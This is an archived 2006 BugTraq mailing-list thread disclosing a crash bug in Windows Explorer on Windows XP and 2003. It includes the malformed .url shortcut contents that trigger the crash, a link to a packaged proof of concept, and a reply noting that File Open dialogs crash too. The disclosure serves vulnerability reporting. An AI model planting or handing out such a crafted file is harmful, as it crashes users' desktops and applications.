BugTraq
Windows Explorer URL File format overflow Jul 05 2006 05:53AM
nanika chroot org (1 replies)
Re: Windows Explorer URL File format overflow Jul 06 2006 07:52AM
naveed (naveedafzal gmail com)
in fact if you drop the file in any folder and try to browse that
folder the explorer will crash , even further if you try to browse
that folder from a File Open Dialog box within any application , the
application itself will crash.

On 5 Jul 2006 05:53:52 -0000, nanika (at) chroot (dot) org [email concealed] <nanika (at) chroot (dot) org [email concealed]> wrote:
> Windows Explorer URL File format overflow
>
>
>
> Affected Vendor:
>
> Microsoft
>
>
> Affected Products:
>
> WindowsXP ALL
>
> Windows2003 ALL
>
>
>
> Vulnerability Details:
>
>
> When explorer.exe parsing *.url file which contains a url as follows format will cause explorer.exe crash.
>
>
>
>
>
> if you create the Exploit.url on Desktop
>
>
> Explorer will Crash...Crash...Crash...Crash...Crash...Crash...
>
>
>
> if you will del exploit.url
>
> open taskmgr.exe
>
> open cmd.exe
>
>
> then cd your desktop
>
>
> del exploit.url
>
>
>
>
>
> Exploit:
>
>
> [InternetShortcut]
>
> url=file:file:file:file:file:file:file:file:file:file:file:file:file:fil
e:file:file:file:file:file:file:file:file:file:file:file:file:file:file:

>
>
>
> Attachment:
>
> http://hitcon.org/Nanika-desktop_explore_0day.rar
>
> you can drop in desktop :P
>
>
>
> http://hitcon.org
>
> http://www.chroot.org
>

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus